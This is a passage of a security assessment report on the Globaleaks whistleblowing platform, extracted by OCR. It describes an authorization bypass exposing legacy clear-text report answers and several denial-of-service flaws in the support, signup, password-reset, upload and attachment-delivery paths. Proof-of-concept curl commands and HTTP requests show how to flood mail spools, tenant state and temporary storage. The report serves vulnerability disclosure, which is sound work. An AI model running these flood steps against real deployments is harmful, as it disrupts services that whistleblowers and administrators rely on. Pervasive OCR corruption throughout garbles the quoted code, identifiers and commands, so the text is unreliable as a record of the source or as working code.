encryption is used only to construct the historical fixture and does not represent a supported current deployment
configuration.

1. Prepare a test database originating from a pre-3.0.0 installation, with encryption disabled when the legacy
report is created, and configure a non-selectable context containing two recipients, recipient-a and

reci pient-b .Give recipient-a the can_grant_access_to_reports permission sothat recipient-a can
revoke another recipient's report access through the recipient API.

Config.encryption: false. Context.allowrecipients_selection: false. Context
recei vers: [recipient-a, recipient-b]. recipient-a.can_grant_access_to_reports:
true.

2. Create the unencrypted report in the pre-3.0.0 fixture, then upgrade the test installation while retaining the
report and its recipient assignments. The remaining steps are performed against the upgraded installation.

PCST / api / whi st | ebl ower/ submi ssi on HITP/ 1. 1
X-Sessi on: <whi st | ebl ower - sessi on>
Gont ent - Type: appl i cation/json

{
“context_id": "<non-sel ectabl e-cont ext-id>",
“receivers": ["<recipient-a-id>", "<recipient-b-id>"],
"identity_provided": false,
"answers": {
"<field-id>": [
{"value": "sensitive unencrypted report answer", "index": O}
|
b
"score": 0,
“recei pt": "<newreceipt>"
}

3.As recipient-a ,revoke recipient-b from that specific report.
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PUT /api/recipient/rtips/<report-id> HTP/ 1.1
X- Sessi on: <reci pi ent - a- sessi on>
Cont ent - Type: appl i cation/json

{
“operation": "revoke",
“args": {
"receiver": "<recipient-b-id>"
}
}

4.As recipient-b , request the report detail endpoint and the report-list endpoint.

GET /api/recipient/rtips/<report-id> HTP/ 1.1
X- Sessi on: <reci pi ent-b-sessi on>

CET /api/recipient/rtips HITP/ 1.1
X- Sessi on: <reci pi ent - b- sessi on>

5. Observe that the detail endpoint is denied because reci pi ent-b nolongerhasa ReceiverTip row, while
the list endpoint still includes the report and returns the clear answer data.

{
"id": "<report-id>",
"accessible": false,
"answers": {
"<field-id>": [
{"val ue": "sensitive unencrypted report answer”, "index": O}

|
}
“status": "opened",
"substatus": null,
"comment _count": 0O,
“file_count": O,
“receiver_count": 1

}

Expected result

After upgrade, recipient APIs should not return questionnaire answers for either encrypted reports or retained
legacy reports when accessi bl e is false. If the product intentionally keeps non-selectable-context subscription

rows visible, the list response should strip sensitive report contents for those rows.

Actual result

In an upgraded database containing retained legacy clear-text answers, GET /api/recipient/rtips/0 enforces
direct ReceiverTi p access and rejects the revoked recipient, but CGET /api/recipient/rtips returnsthe
same report through the context-membership fallback and includes those answers even though accessi bl e is
false. Reports created with encryption are not a ected.

Impact

The technical impact is limited to installations first deployed before version 3.0.0 in February 2018, later upgraded,
and still retaining reports created without encryption. In that legacy condition, a channel recipient can receive
complete clear-text answers after report-specific access has been removed, resulting in high conditional
confidentiality impact. The behavior does not modify reports or a ect their availability.
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Impacted users or systems:

o Upgraded legacy installations retaining pre-existing unencrypted reports.

e Tenants using non-selectable contexts with multiple recipients and recipient-managed report-access
revocation.

o Whistleblowers whose legacy reports are in a context that includes a recipient whose report-specific access
was revoked.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High None None

CWE-639 ) Authorization Bypass Through User-Controlled Key
Missing Authorization
CWE-200 ) Exposure of Sensitive Information to an Unauthorized Actor
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9 DoS

Availability findings sit lower than confidentiality and integrity in this report's threat model, but they still matter for
a whistleblowing channel. The findings below are conditions a single, often unauthenticated, visitor can use to
exhaust server state, stall the request loop, or interrupt access to already-filed reports.
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9.1 F-049 - Support mail queues unbounded

Unauthenticated requests can turn the support endpoint into a mail flood against administrators and the
notification spool.

IMPACT COMPONENT FOUND BY

Mail spool exhaustion Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

PCST / api / support accepts any valid session or proof-of-work token and queues a support email to the root
and tenant administrator notification lists. The endpoint is not covered by the login, report, or whistleblower-
operation rate-limit buckets, and the submitted support text is stored as the queued email body without an
endpoint-specific size or queue limit. A remote unauthenticated client that obtains ordinary public tokens can
repeatedly enqueue administrator support mail and grow the persistent mail spool until asynchronous delivery or
the two-week cleanup removes it.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ support. py - SupportHandl er. post (),

generat e_support_enail ()

backend/ gl obal eaks/ rest/decorators. py - decorator_require_session_or_token(),
decorator_rate_ limt()

backend/ gl obal eaks/ state. py - State.schedul e_support_enail ()

backend/ gl obal eaks/transactions/__init__.py - db_schedul e_email ()

backend/ gl obal eaks/ j obs/ notification.py - Notification.spool enails()
backend/ gl obal eaks/ j obs/ cl eani ng. py - Q eani ng. cl ean()

PCST / api / suppor t

Description:

The support endpoint is registered as a normal API route and uses check_roles ="'any" For POST requests the
generic decorators require only a session or token before the handler runs. A public client can obtain proof-of-
work tokens from /api/auth/token, solve them, and submit /api/support without an account.

The rate-limit decorator does not create a bucket for Zapi/support. Without a session, it only throttles
/api/auth/authentication and Zapi/auth/receiptauth; with a session, it only throttles whistleblower paths under
/api/whistleblower/. A token-only support request therefore reaches the handler with no endpoint-specific delay
or block.

SupportHandlerpost() reads the JSON body, validates only that mail_address matches the email regexp and text
is a Python str, and calls State.schedule_support_email(). That function iterates over the root and tenant
administrator notification lists and asynchronously inserts one Mail row per recipient. The Mail model stores the
whole body as UnicodeText. Notification delivery later fetches up to 100 queued messages per pass and sleeps
between sends, while daily cleanup deletes queued mail only after 14 days.

This is materially distinct from the public signup allocation issue: it does not depend on public signup being
enabled or on unique tenant subdomains, and it targets the administrator notification spool directly through the
always-registered support endpoint.

Relevant code:
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backend!/ gl obal eaks/ handl er s/ support . py

14 class SupportHandl er (BaseHandl er):

18 check_rol es = 'any'

20 def post(self):

21 request = sel f.validate_request(self.request.content.read(),
22 request s. Support Desc)

24 emai | = generate_support_enail (request[' mail _address'],

25 sel f. request . host nane,

26 request['text'])

28 sel f. state. schedul e_support_enai | (sel f.request.tid, email)

backend/ gl obal eaks/ r est/ decor at or s. py

15 BYPASS PATHS = {b"/api/auth/token", b"/api/auth/type", b"/api/report"}
21 def decorator_require_session_or_token(f):

23 def wrapper(sel f, *args, **kwargs):

24 if self.request.path not in BYPASS PATHS and not

has_sessi on_or_token(sel f):

25 raise errors.Internal ServerError("Invalid request: No token and no
sessi on"

27 return f(self, *args, **kwargs)

79 def decorator_rate limt(f):

90 if self.session:

93 if self.session.role == "whistleblower' and path.startsw th(b'/api/
whi st ebl ower/"):

128 el se:

129 if self.request.path in [b'/api/auth/authentication', b'/api/auth/
recei ptauth', b'/api/auth/authentication']:

130 delay = State. RateLimt.check(...)

176 if nethod in ['delete', 'post', 'put']:

177 f = decorator_require_session_or_token(f)

178 if State.settings.enable rate_|imting:

179 f = decorator_rate_limt(f)

181 f = decorator_authentication(f, roles)

backend/ gl obal eaks/ st at e. py

221 def schedul e_support_enail (sel f, tid, text):

222 subj ect = "Support request"

223 delivery_|ist = set.union(set(self.tenants[1].cache.notification adnmn_lis
t),

224 set (sel f.tenants[tid].cache. notification.admn_|
ist))

226 for mai| _address, pgp_key_public in delivery list:

227 body = text

239 tw(db_schedul e_enail, tid, mail_address, subject, body)

backend/ gl obal eaks/transactions/__init__.py

23 def db_schedul e_enail (session, tid, address, subject, body):

24 return db_add(session,

25 nodel s. Mai |,

26 {

27 "address': address,
28 ‘subject': subject,
29 ‘" body' : body,

30 “tid:otid,

31 }
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backend/ gl obal eaks/ j obs/ noti fi cati on. py

240 @ransact

241 def get_mails_fromthe_pool (session):

247 for mail in session.query(nodels. Mail).order_by(nodel s. Mail.creation_date)
limt(100):

266 @lefer.inlineCall backs
267 def spool _enails(self):

268 mails = yield get_mails_fromthe_pool ()

269 for mail in nails:

270 sent = yield self.state.sendmail (nail['tid ], mail['address'],
nmai | ['subject'], mail['body'])

271 if sent:

272 yield tw(db_del, nodels.Mail, nodels.Mail.id == nail["id])
274 yield deferred_sl eep(1)

backend/ gl obal eaks/ j obs/ cl eani ng. py
44 # delete enails ol der than two weeks

45 db_del (session, nodels.Mil, nodels. Mail.creation_date < datetime_now() -
tinedel ta(14))

PoC

Steps to reproduce

1. Obtain a normal public proof-of-work token and solve it.

curl -s -X POST 'https:// TARGET/ api / aut h/ t oken'

2. Submit a support request with the solved token. Repeat with fresh tokens.

curl -s -X POST 'https:// TARGET/ api / support' -H ' Content-Type: application/json'
H ' X- Token: <token-id>: <val i d- proof - of - wor k- answer>' --data '{

"mai | _address": "attacker @xanpl e. net",

“text":"support queue |oad test 000001"
3

3. Inspect the database mail spool or administrator inbox.

Each accepted request inserts one Miil row for every root or tenant adm nistrator
notification recipient. The endpoi nt does not consunme a support-specific rate-
limt bucket, and queued nail can remain until delivery succeeds or the daily
cleanup deletes nail ol der than 14 days.

Expected result

Public support requests should be bounded by a support-specific per-IP, per-tenant, and per-system throttle, a
maximum support-message length, and a bounded queued-notification policy. A token-only client should not be
able to create unbounded administrator mail.

Actual result

Any caller with a valid proof-of-work token or session can call / api/support ;token-only calls are not delayed or
blocked by the generic rate limiter, and each accepted request persists administrator notification mail in the
database.
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Impact

This is an availability and abuse issue for deployments with administrator notification email configured. A remote
unauthenticated attacker can use ordinary proof-of-work tokens to fill the notification spool, generate
administrator support-message volume, consume SMTP delivery capacity, and delay legitimate system
notifications. If multiple administrator notification addresses are configured, one request creates multiple queued
mail rows.

Impacted users or systems:

¢ Globaleaks administrators receiving support notifications.

 Deployments whose database, notification queue, or SMTP service capacity is shared with production
notification tra c.

e Tenants relying on timely administrative and system notification delivery.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Medium High

CWE-770 ) Allocation of Resources Without Limits or Throttling
CWE-400 ) Uncontrolled Resource Consumption
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9.2 F-054 - Signup allocates tenant state

With public signup enabled, an attacker can keep creating inactive tenants and associated mail until database
and queue growth becomes operationally expensive.

IMPACT COMPONENT FOUND BY
Persistent resource Backend GPT-5.5 Pro xhigh via
exhaustion run_codex_cwe_line v2

When public signup is enabled, POST /api/si gnup creates a new inactive tenant, subscriber row, default tenant
configuration, language/status rows, and notification mail for every unique submitted subdomain. The endpoint is
not covered by the backend's login or submission rate-limit buckets, so an unauthenticated remote client with
ordinary proof-of-work tokens can repeatedly allocate persistent database state and queued email until the daily
cleanup removes old pending signups.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ si gnup. py - signup(), S gnup.post()
backend/ gl obal eaks/ handl er s/ adm n/tenant.py - db_create(),
db_initialize_tenant_subn ssi on_stat uses()

backend/ gl obal eaks/rest/decorators. py - decorator_rate_limt()
backend/ gl obal eaks/ j obs/ cl eani ng. py - Q eani ng. cl ean()

PCST / api / si gnup

Description:

The public signup APl is intended to let unauthenticated users register new tenants when the root tenant enables
signup. Each accepted request calls db_create_tenant(), creates a Subscriber row, and queues activation/admin-
notification emails. The code deletes only still-pending signups that reuse the same subdomain; it does not
enforce a per-IP, per-email, per-system, or pending-tenant quota.

The generic rate-limit decorator only applies unauthenticated login throttles to Zapi/auth/authentication and
/api/auth/receiptauth. Zapi/signup therefore requires a proof-of-work token through
decorator_require_session_or_token(), but it does not consume any signup-specific rate-limit bucket. Because
/api/auth/token itself is public, a client can obtain fresh tokens and submit many unique subdomains.

Pending signup tenants are removed only by the daily cleaning job after 24 hours, and queued mail rows are
retained for up to two weeks. A remote attacker can therefore force persistent database growth, mail queue
growth, and admin notification volume on signup-enabled multi-tenant deployments without completing
activation.

Relevant code:
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backend/ gl obal eaks/ handl er s/ si gnup. py

24 def signup(session, request, |anguage):

27 config = ConfigFactory(session, 1)

29 if not config.get_val (' enabl e_signup'):

30 rai se errors. Forbi ddenQperati on

44 tids = [tid for (tid,) in session.query(nodels.Tenant.id).filter(

45 nodel s. Subscri ber. subdomai n == request [ ' subdomain'],

46 nodel s. Subscri ber. acti vati on_t oken. i snot (None) ,

47 nodel s. Tenant . i d == nodel s. Subscriber.tid

48 ).all()]

50 db_del (session, nodel s. Tenant, nodel s. Tenant.id.in_(tids))

52 tenant = db_create_tenant(session, {'active': False,

53 ‘nane' : request[' subdomain'],

54 ' subdonai n': request[' subdomain'],
55 "node’ : config. get_val (' node')})
57 si gnup = nodel s. Subscri ber (request)

58 signup.tid = tenant.id

59 sessi on. add( si gnup)

83 State.format _and_send_nai | (session, 1, signup.enail, tenplate_vars)
97 State. format_and_send_nai | (session, 1, user_desc[' nail_address'],

tenpl ate_vars)

backend/ gl obal eaks/ handl er s/ adm n/ t enant . py
18 def db_initialize_tenant_subm ssion_statuses(session, tid):

27 for sin [{'tid: tid, '"id: "new, ...},

28 {"tid: tid, 'id: 'opened, ...},
29 {"tid: tid, "id: 'closed, ...}]:
30 sessi on. add( nodel s. Submi ssi onSt at us(s))

34 def db_create(session, desc):

35 t = nodel s. Tenant ()

37 t.active = desc['active']

38 sessi on. add(t)

41 session. f| ush()

50 nodel s. config.initialize config(session, t.id, desc['node'])
59 for var in ['node', 'nanme', 'subdonain']:

60 db_set _config_variabl e(session, t.id, var, desc[var])

62 nodel s. confi g. add_new | ang(session, t.id, |anguage, appdata)
64 db_initialize_tenant_subm ssion_statuses(session, t.id)

backend/ gl obal eaks/ r est/ decor at or s. py

129 if self.request.path in [b'/api/auth/authentication', b'/api/auth/
recei ptauth', b'/api/auth/authentication']:
130 del ay = State. RateLimt.check(b"l ogi ns_per_m nute_per_t enant _per_ip: "

+tid + b":" +client_ip,

177 f = decorator_require_session_or _t oken(f)
178 if State.settings.enable rate_|inmting:
179 f = decorator_rate_|imt(f)
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backend/ gl obal eaks/ j obs/ cl eani ng. py

48 # del ete the tenants created via signup that has not been conpleted in 24h
49 tids = [tid for (tid,) in session.query(nodels.Subscriber.tid).filter(

50 nodel s. Subscri ber. activation_token !'="",

51 nodel s. Subscri ber.tid == nodel s. Tenant.id,

52 nodel s. Subscri ber.registration_date < datetine_now() -

ti nedel t a( days=1)

53 ).all()]

54 db_del (session, nodel s. Tenant, nodel s. Tenant.id.in_(tids))

37 # del ete emails ol der than two weeks

38 db_del (session, nodel s. Mail, nodels. Mail.creation_date < datetinme_now() -

ti nedel ta(14))

PoC

Steps to reproduce

1. Enable public signup on the root tenant.

Root tenant configuration: enable_signup = true

2. Obtain a normal proof-of-work token from the public token endpoint, solve it, and submit a signup with a
unique subdomain. Repeat with new subdomains such as | 0ad000001 , | 0ad000002 , and so on.

curl -s -X POST 'https:// TARGET/ api / aut h/ t oken'

curl -s -X POST 'https://TARGET/ api / si gnup’ \
-H ' Content-Type: application/json' \
-H ' X-Token: <token-id>:<vali d- proof - of - wor k- answer >' \
--data ‘' {
" subdonai n": "1 0ad000001",
"name": " Load",

"surnane": " Test",
“phone": "",
"enai | ": "attacker @xanpl e. net",

"organi zati on_nane":"Load Test 000001",
"organi zation_tax_code":"",

"organi zation_vat_code":"",

“organi zation_| ocation":"",
"tosl":true,

"tos2":true

3. Inspect the database or admin tenant list before the daily cleanup job runs.

Each accepted request creates an inactive Tenant plus Subscriber, Config,

Enabl edLanguage, Submi ssionStatus, and Mail rows. The rows persist until cleanup
del etes pendi ng signups ol der than 24 hours; queued nail can remain for up to two
weeks.

Expected result

Public signup should enforce a bounded allocation policy, such as per-IP and per-system signup throttles, a
pending-signup quota, and bounded queued notifications. A single unauthenticated client should not be able to
create unbounded tenant state.

Actual result
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The signhup endpoint accepts every unique subdomain while signup is enabled and only deletes pending rows for
the same subdomain. It is not part of the backend rate-limit buckets, so repeated requests allocate persistent
tenant and mail state until asynchronous cleanup runs.

Impact

This is an availability issue in signup-enabled multi-tenant deployments. A remote unauthenticated attacker can
grow the application database, fill the pending tenant list, and create queued activation/admin notification email
at a rate limited only by token solving and external request filtering. The impact is stronger when notification
delivery is enabled because each signup also schedules outbound mail.

Impacted users or systems:

o Multi-tenant Globaleaks deployments with public signup enabled.
e Administrators receiving signup alert notifications.

e Operators whose database, mail queue, or notification service capacity is shared with production tenants.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Medium High

Allocation of Resources Without Limits or Throttling
CWE-400 ) Uncontrolled Resource Consumption
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9.3 F-058 - Reset requests flood mail spool

Password-reset requests can be abused to generate targeted reset mail and fill both the spool and reset-token
storage.

IMPACT COMPONENT FOUND BY

Mail spool exhaustion Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

PCST / api / user/reset/ password is reachable with any valid session or proof-of-work token and is not covered
by the backend login, report, or operation rate-limit buckets. For every matching username or email address, it
creates a password-reset marker file under the ramdisk path and queues a reset email. A remote accountless
attacker who knows or can guess an internal username or email address can repeatedly obtain public tokens and
force reset-token file creation plus notification-mail growth until cleanup removes the artifacts.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ user/reset _password. py - PasswordReset Handl er. post (),
db_gener at e_password_reset _token(), generate_password_reset_token_by_username_or_m
ail()

backend/ gl obal eaks/rest/decorators. py - decorator_require_session_or_token(),
decorator_rate_limt()

backend/ gl obal eaks/ j obs/ cl eani ng. py - d eani ng. perform secure_del eti on_of _t enpor ar
y_files(), QA eaning.clean()

PCST / api / user/reset/ passwor d

Description:

The password-reset request handler uses check_roles ="any' For POST requests, the generic decorators require a
session or proof-of-work token, but the public Zapi/auth/token endpoint lets unauthenticated callers obtain
ordinary one-shot tokens.

The rate-limit decorator does not create a password-reset bucket. Without a session, it only throttles
/api/auth/authentication and /api/auth/receiptauth. With a session, it only throttles whistleblower paths under
/api/whistleblower/. A token-only password-reset request therefore reaches the handler without a reset-specific
per-IP, per-account, per-tenant, or per-system delay or block.

For every matching username or email address, db_generate_password_reset_token() creates a fresh random
token, writes a file named sha256(token) under State.settings.ramdisk_path, and queues a reset or activation email
containing the token. Reset marker files are removed after password change or by daily cleanup only after seven
days; queued mail rows are removed after successful delivery or by daily cleanup only after two weeks.

This is distinct from the existing password-reset token lifetime and validation findings: the vulnerable action is
repeated generation and persistent queuing before any reset token is delivered or redeemed.

Relevant code:
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backend/ gl obal eaks/ handl er s/ user/reset _passwor d. py

22
29
38
39

def db_generate_password_reset_t oken(session, user):
token = gener at eRandonKey()

try:
filepath = os. path. abspat h(os. path.joi n(State. settings. randi sk_pat h,

sha256( t oken) . decode()))

40
41
42
43

53

with open(filepath, "wb") as f:
f.wite(user.id.encode())
except Exception:
pass

State.format _and_send nai |l (session, user.tid, user_desc['nail_address'],

tenpl ate_vars)

75

def generate_password_reset_token_by_usernanme_or_nail (session, tid,

usernane_or_enail):

85
86
87
88
89
91
92

users = session. query(nodel s. User).filter(

or _(func. | ower (nodel s. User. user nane) == usernane_or _enai | . | ower (),
func. | ower (nodel s. User. nai | _address) == usernane_or_enail.lower()),
nodel s. Wser.tid == tid
).distinct()

for user in users:
db_gener at e_passwor d_r eset _t oken( sessi on, user)

backend/ gl obal eaks/ handl er s/ user/reset _passwor d. py

176
178
180
181
182
184
tid,
185

cl ass Passwor dReset Handl er (BaseHand| er) :
check_rol es = "any'
def post(self):
request = self.validate_request(self.request.content.read(),
request s. Passwor dReset 1Desc)
return generate_password_reset _t oken_by_usernane_or _mail (sel f.request.

request [' usernane'])

backend/ gl obal eaks/ rest/ decor at or s. py

15
21
23
24

BYPASS PATHS = {b"/api/auth/token", b"/api/auth/type", b"/api/report"}
def decorator_require_session_or_token(f):
def wapper(self, *args, **kwargs):
if self.request.path not in BYPASS PATHS and not

has_sessi on_or _t oken(sel f):

25 raise errors.Internal ServerError("Invalid request: No token and no
sessi on")

27 return f(self, *args, **kwargs)

79 def decorator_rate limt(f):

90 if self.session:

93 if self.session.role == "whistleblower' and path.startsw th(b'/api/

whi st ebl over/"):

128
129

el se:
if self.request.path in [b'/api/auth/authentication', b'/api/auth/

recei ptauth', b'/api/auth/authentication']:

130

delay = State. RateLinit.check(...)

backend/ gl obal eaks/ j obs/ cl eani ng. py

92
93
94
95
96
97

# Del ete the outdated randi sk tokens ol der than 1 week
for f in os.listdir(self.state.settings.randi sk_path):
path = os.path.join(self.state.settings.randi sk_path, f)
timestanp = datetine. frontinestanp(os. path. get nine(path))
if is_expired(timestanp, days=7):
srn( pat h)
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backend/ gl obal eaks/ j obs/ cl eani ng. py

44 # delete emails ol der than two weeks
45 db_del (session, nodel s. Mail, nodels. Mail.creation_date < datetime_now() -
ti nedel ta(14))

PoC

Steps to reproduce

1. Identify or guess an internal username or email address for the target tenant.

usernane = victim

2. Obtain and solve a normal public proof-of-work token.

curl -s -X POST 'https:// TARGET/ api / aut h/ t oken'

3. Submit a password-reset request using the solved token. Repeat with fresh tokens.

curl -s -X POST 'https:// TARGET/ api / user/reset/password -H ' Content - Type:
application/json' -H'X Token: <token-id>:<vali d-proof-of -work-answer>' --data
"{"usernane":"victin}"

4. Inspect the ramdisk token directory and mail spool in a test deployment.

Each accepted request for an existing user wites a new reset marker under /dev/
shni gl obal eaks and queues a reset or activation enmail. The endpoi nt does not
consune a reset-specific rate-l1imt bucket.

Expected result

Password-reset requests should be bounded by account, source, tenant, and system throttles. The backend
should limit outstanding reset tokens per account and avoid queuing unbounded reset emails.

Actual result

Every token-authorized request for an existing username or email address creates a new reset marker file and
queued email. Cleanup removes marker files only after seven days and queued mail only after delivery or after
two weeks.

Impact

This is an availability and account-abuse issue. A remote accountless attacker can create reset-email volume for
targeted internal users, grow the notification spool, fill the reset-token ramdisk path with outstanding markers, and
delay or obscure legitimate notification tra c. Repeated valid reset emails can also confuse users during incident
response or social-engineering attempts, although account takeover still requires access to a delivered reset
token and any configured recovery factors.

Impacted users or systems:

¢ Internal users whose usernames or email addresses are known or guessable.
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¢ Deployments whose database mail spool, ramdisk token directory, or SMTP service capacity is shared with
production notification tra c.

o Administrators investigating repeated reset requests or notification delays.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Medium High

CWE-770 ) Allocation of Resources Without Limits or Throttling
CWE-400 ) Uncontrolled Resource Consumption
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9.4 F-003 - Public upload consumes temp
storage

Upload-shaped unauthenticated requests can consume temporary storage and file descriptors before access
controls run.

IMPACT COMPONENT FOUND BY
Service resource exhaustion Backend GPT-5.5 medium vl

Chunked file upload data is processed before the request reaches the decorated handler method that enforces
session or token presence, role authorization, and rate limiting. Unauthenticated requests can create and append
temporary upload files before being rejected, and non-final chunks can return before authorization is evaluated at
all.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ rest/ api . py

backend/ gl obal eaks/ handl er s/ base. py

backend/ gl obal eaks/ r est/ decor at or s. py

Upl oad endpoi nts usi ng upl oad_handl er =Tr ue, i ncl udi ng:
/api/admn/files/(.+)
/api/recipient/rtips/<uuid>/rfiles
/ api / whi st | ebl ower/ submi ssi on/ at t achnent
/ api / whi st | ebl ower/wbt i p/wbfil es

Description:

APIResourceWrapperrender() calls process_file_upload() when the handler has upload_handler=True, before it
calls the handler method. The handler method is where decorators enforce session/token requirements, role
checks, and rate limiting.

process_file_upload() trusts multipart/form arguments enough to allocate a SecureTemporaryFile and write the
provided chunk. For non-final chunks, render() returns immediately when uploaded_file is still None, so the
decorated post() method is never called.

As a result, an unauthenticated client can repeatedly send upload-shaped POST requests to upload endpoints
and cause temporary files to be created and filled under the backend temporary path.

Relevant code:

Page 151 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



|SGroup

Information Security

Labeling

Edition

520

536

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

PUBLIC Date 30/07/2026 Author ISGroup
01 Revision 01 Distribution Public disclosure permitted
backend/ gl obal eaks/ rest/ api . py
sel f. handl er = handl er(State, request)
if self.handl er.upl oad_handl er and nethod == ' post":

537
538
539
540
541

543
544

5{75)

try:
sel f. handl er. process_fil e_upl oad()
except Exception as e:
sel f. handl e_exception(e, request)
return b''

if self.handl er.uploaded file is None:
return b’

d = defer. naybeDef erred(f, self.handl er, *groups).addCal | backs(...)

backend/ gl obal eaks/ r est/ decor at or s. py

176
177
178
179

181

if nethod in ['delete', "post', 'put']:

f = decorator_require_session_or_token(f)
if State.settings.enable rate_|inting:
f = decorator_rate_|limt(f)

f = decorator_authentication(f, roles)

backend/ gl obal eaks/ handl er s/ base. py

356
357

359

372

total _file_size = int(self.request.args[b' flowlotal Size'][0])
file_id = self.request.args[b' flow dentifier'][0].decode()

if file_id not in self.state. TenpUpl oadFi | es:

sel f.state. TenpUpl oadFi l es[file_id] =

Secur eTenpor ar yFi | e(Setti ngs. t np_pat h)

374
387
399
400

402

f = self.state. TenpUpl oadFi | es[file_id]
with f.open('w) as f:

f.wite(sel f.request.args[b' file ][0])
f.witten_chunks += 1

if self.request.args[b'fl owChunkNunber'][0]

sel f.request. args[b' fl owTlot al Chunks' ][ 0] :

403

PoC

return None

Steps to reproduce

1. Start a Globaleaks backend instance with an upload endpoint reachable.

# Use a devel opnent or test instance. No valid x-session or x-token header is
used.

2. Send a first non-final upload chunk to an upload endpoint without authentication.

curl -i -X POST 'https:// TARGET/ api / whi st | ebl ower/ subm ssi on/ attachnment' \
-F ' flowFi | ename=test.bin' \
-F *flowdentifier=unaut h-upl oad-1' \
-F ' fl owrot al Si ze=1048576' \
-F ' fl owChunkNunber =1' \
-F ' fl owTot al Chunks=2" \
-F "fil e=@hunkl. bi n'
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3. Repeat with many unique flow dentifier values orlarge chunks below the configured maximum file size.

Tenporary upload files are created before the request reaches handl er-1|evel
aut henti cation or authorization checks. For non-final chunks, the request can
return before post() decorators are eval uated.

Expected result

Upload body processing should happen only after the request has passed the same session/token, role, and
rate-limit checks as the target upload operation.

Actual result

The backend processes and stores upload chunks before invoking the decorated handler method.

Impact

This is a pre-authentication resource consumption vulnerability. An attacker can consume temporary storage and
backend file descriptors with upload-shaped requests. Depending on deployment layout, this may fill
/var/ gl obal eaks/tnp orthe configured temporary path and disrupt legitimate submissions or administration.

Impacted users or systems:

o Globaleaks instances with upload endpoints exposed to untrusted clients.

e Operators relying on handler decorators for upload authorization and rate limiting.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None High

CWE-306 ) Missing Authentication for Critical Function
CWE-400 ) Uncontrolled Resource Consumption
Allocation of Resources Without Limits or Throttling
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9.5 F-013 - Public attachments stall backend
reactor

Ordinary public attachments can be weaponized to make the periodic delivery job stall the backend event loop
for other users.

IMPACT COMPONENT FOUND BY
Service denial of service Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Whistleblower-uploaded attachments are materialized by the periodic Del i very job, but the job copies,
decrypts, and optionally encrypts each pending file synchronously on the Twisted reactor thread. A public
submitter can create a normal whistleblower session, upload many allowed-size attachments to a report, and
cause the next delivery cycle to monopolize the single reactor while it processes attacker-controlled file data,
delaying unrelated requests across the service.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ j obs/ del i very. py
Del i very. operation()
wite_encrypted file()
wite_plaintext_file()

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ at t achrment . py
Subni ssi onAt t achnment . post ()
Post Subni ssi onAt t achnent . post ()

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ submi ssi on. py
db_creat e_subni ssi on()

Endpoi nt s:
PCST / api / whi st | ebl ower / subm ssi on/ at t achnent
PCST / api / whi st | ebl ower/ submi ssi on
PCST / api / whi st | ebl ower/ wbt i p/ wbfi | es

Description:

Whistleblower file uploads first land in encrypted SecureTemporaryFile objects. When a report is submitted, or
when a post-submission attachment is uploaded, the backend creates InternalFile rows with new=True. The
Delivery LoopingJob runs every five seconds, marks those rows processed in the database worker, and then
resumes on the Twisted reactor to copy each pending temporary file into the permanent attachment store.

That final file materialization loop is not dispatched to a worker thread and does not yield between chunks. For
encrypted reports it calls GCE.streaming_encryption_open() and seo.encrypt_chunk() for every chunk; for plaintext
reports it still reads and decrypts the SecureTemporaryFile and writes the permanent file. Both paths perform disk
1/0 and cryptographic work directly inside the reactor callback.

Default configuration allows public report sessions to attach up to 30 files per report and 30 MiB per file. A
submitter can therefore queue hundreds of MiB of attacker-controlled delivery work through ordinary public
intake. While Delivery.operation() is in its synchronous loop, the single Twisted reactor cannot service other
requests, timers, or jobs.
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Relevant code:

backend/ gl obal eaks/ j obs/ del i very. py

100 cl ass Del i very(Loopi ngJob) :

101
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118

interval =5

@nl i neCal | backs
def operation(self):

This function creates receiver files

files_map = yield file_delivery()

for _, filein files_nap.itens():
try:
sf = self.state.get _tnp_file_ by nane(file['src'])
if file['key']:
wite encrypted_file(file['key'], sf, file['dst'])
el se:

wite plaintext_file(sf, file['dst'])

backend/ gl obal eaks/ j obs/ del i very. py

74 def
75
76

wite plaintext_file(sf, dest_path):
try:
with sf.open('r') as encrypted file, open(dest_path, "a+b") as

plaintext_file:

77
78
79
80
86 def
87
88
89
90
91
92
93

94
95

chunk = encrypted_file.read(abstract.FileDescriptor.bufferSi ze)
whi | e chunk:
plaintext _file. wite(chunk)
chunk = encrypted_file.read(abstract. FileDescriptor.bufferSi ze)

wite encrypted_fil e(key, sf, dest_path):
try:
with sf.open('r') as encrypted file, \
QCE. stream ng_encryption_open(' ENCRYPT' , key, dest_path) as seo:
chunk = encrypted_file.read(abstract.FileDescriptor.bufferSi ze)
whi | e chunk:
seo. encrypt _chunk(chunk, 0)
chunk = encrypted_file.read(abstract.FileDescriptor.bufferS ze)

seo. encrypt _chunk(b'', 1)

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ at t achrment . py

61
62
63
73
74

75
76

def post(self):
sel f. upl oaded_file['submssion'] = True
sel f.session.files.append(self.uploaded file)

def post(self):
sel f. upl oaded_file['subm ssion'] = Fal se

return register_ifile_on_db(sel f.request.tid, self.session.user_id,

sel f. upl oaded _file)
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backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ submi ssi on. py

265 for uploaded file in user_session.files:
270 new file = nodel s. Internal File()
271 new file.tid = tid
272 new file.id = upl oaded_file['filenane']
273 new file.name = upl oaded fil e[’ nanme']
274 new file.content_type = upl oaded file['type']
275 new file.size = upl oaded_file['size']
276 new file internaltip_id =itip.id
277 new file.reference_id = upl oaded_file['reference_id"]
278 new file.creation_date = itip.creation_date
279 sessi on. add(new file)
PoC

